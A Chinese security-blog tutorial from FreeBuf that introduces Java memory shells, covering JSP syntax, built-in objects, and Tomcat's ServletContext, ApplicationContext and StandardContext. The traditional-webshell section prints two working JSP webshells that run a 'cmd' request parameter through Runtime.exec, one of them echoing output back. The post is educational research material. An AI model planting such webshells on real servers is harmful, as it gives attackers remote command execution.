freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java 内存马与 JSP 不得不说的那些事儿
Drunkbaby 2022-08-27 23:50:02 302457
所属地 河南省

0x01 前言

Java 内存马这一块要学的基础知识还是蛮多的,所以还是先把基础打牢了,再去看攻击方法比较好。

0x02 内存马简史

由于现在各种防护措施越来越多,文件shell就如c0ny1师傅所说的大部分已经气数已尽,内存马因其隐蔽性等优点从而越来越盛行。

其实内存马由来已久,早在17年n1nty师傅的《Tomcat源码调试笔记-看不见的shell》中已初见端倪,但一直不温不火。后经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey师傅构造的Spring controller内存马。至此内存马开枝散叶发展出了三大类型:

servlet-api类

filter型

servlet型

spring类

拦截器

controller型

Java Instrumentation类

agent型

在讲内存马之前,我们还是看一看 jsp 基础。

0x03 JSP 基础

首先是 JSP 环境的搭建,我们要起一个 JSP 的环境,有的教程说起 SpringMVC 的,其实完全没必要,简单的 JSP 即可。

1. 什么是JSP

JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

2. JSP 环境的搭建

直接用 maven 起一个项目,然后点这个:

image

选中 Web,如图

image

然后就是网上说的创建 lib,创建 classes;具体可以见这篇文章。https://drun1baby.github.io/2022/08/22/Servlet-项目搭建/

3. JSP的语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下

<% 代码片段 %>

下面是使用示例

<html>  
<body>  
<h2>Hello World!!!</h2>  
<% out.println("GoodBye!"); %>  
</body>  
</html>

JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的 Java 代码使用。JSP 声明语句格式如下

<%! 声明  %>

同样等价于下面的XML语句

<jsp:declaration>   
代码片段
</jsp:declaration>

image

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

image

JSP 表达式

<%= 表达式 %>

等价于下面的XML表达式

<jsp:expression>   表达式</jsp:expression>

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<p><% String name = "Drunkbaby"; %>username:<%=name%></p>
</body>
</html>

输出如图

image

JSP 指令

JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

image

比如我们能通过page指令来设置jsp页面的编码格式

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

回显是一样的,因为 JSP 属于模板引擎

JSP 注释

格式如下

<%-- 注释内容 --%>

4. JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

由 JSP 规范提供,不用编写者实例化

通过 Web 容器实现和管理

所有 JSP 页面均可使用

只有在脚本元素的表达式或代码段中才能使用


对  象类型说  明
requestjavax.servlet.http.HttpServletRequest获取用户请求信息
responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端
outjavax.servlet.jsp.JspWriter输出内容到 HTML 中
sessionjavax.servlet.http.HttpSession用来保存用户信息
applicationjavax.servlet.ServletContext所有用户共享信息
configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性
pagejavax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面
exceptionjava.lang.Throwable该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象。

0x04 传统内存马

讲完了 Tomcat 架构的理解和 JSP 的一些基础,我们可以正式开始学习内存马了

我们先来看一看传统的 JSP 内存马是什么样子的。

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。我们这里弹个计算器看一看。

image

下面是一个带回显的JSP木马

<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
 
%>

image

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。

修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

0x05 Tomcat 中的三个 Context 的理解

Context

context是上下文的意思,在java中经常能看到这个东西。那么到底是什么意思呢?

根据yzddmr6师傅的理解,如果把某次请求比作电影中的事件,那么context就相当于事件发生的背景。例如一部电影中的某个镜头中,张三大喊“奥利给”,但是只看这一个镜头我们不知道到底发生了什么,张三是谁,为什么要喊“奥利给”。所以就需要交代当时事情发生的背景。张三是吃饭前喊的奥利给?还是吃饭后喊的奥利给?因为对于同一件事情:张三喊奥利给这件事,发生的背景不同意义可能是不同的。吃饭前喊奥利给可能是饿了的意思,吃饭后喊奥利给可能是说吃饱了的意思。

在WEB请求中也如此,在一次request请求发生时,背景,也就是context会记录当时的情形:当前WEB容器中有几个filter,有什么servlet,有什么listener,请求的参数,请求的路径,有没有什么全局的参数等等。

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。

大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

package javax.servlet;
 
 
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
 
 
public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";
 
    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();
 
    void setAttribute(String var1, Object var2);
 
    void removeAttribute(String var1);
 
    String getServletContextName();
    
    Dynamic addServlet(String var1, String var2);
 
    Dynamic addServlet(String var1, Servlet var2);
 
 
    Dynamic addServlet(String var1, Class var2);
 
     extends Servlet> T createServlet(Classvar1) throws ServletException;
 
    ServletRegistration getServletRegistration(String var1);
 
    Map ? extends ServletRegistration> getServletRegistrations();
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
 
     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);
 
    Set getDefaultSessionTrackingModes();
 
    Set getEffectiveSessionTrackingModes();
 
    void addListener(String var1);
     extends EventListener> void addListener(T var1);
 
    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

可以看到ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。

ApplicationContext

在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。也可以理解为 AOP 吧

其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

image

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

image

...
@Override
    public String getRequestCharacterEncoding() {
        return context.getRequestCharacterEncoding();
    }
...

Tomcat 三个 Context 总结

我们可以用一张图来表示各Context的关系

image

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

0x06 小结

简单看了看 JSP 与 Tomcat 中三个 Context 的一些东西,感觉还好。

0x07 参考资料

https://goodapple.top/archives/1355
http://miku233.viewofthai.link/2022/05/29/Tomcat/

# web安全 # java # tomcat # JAVA安全 # 内存马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Drunkbaby 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Drunkbaby LV.5
https://github.com/Drun1baby/
  • 39 文章数
  • 236 关注者
CVE-2024-22243 Spring Web UriComponentsBuilder URL 解析不当漏洞分析
2024-02-26
CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQL
2024-02-23
CVE-2023-22527 Confluence 未授权 SSTI RCE 漏洞分析
2024-02-22
文章目录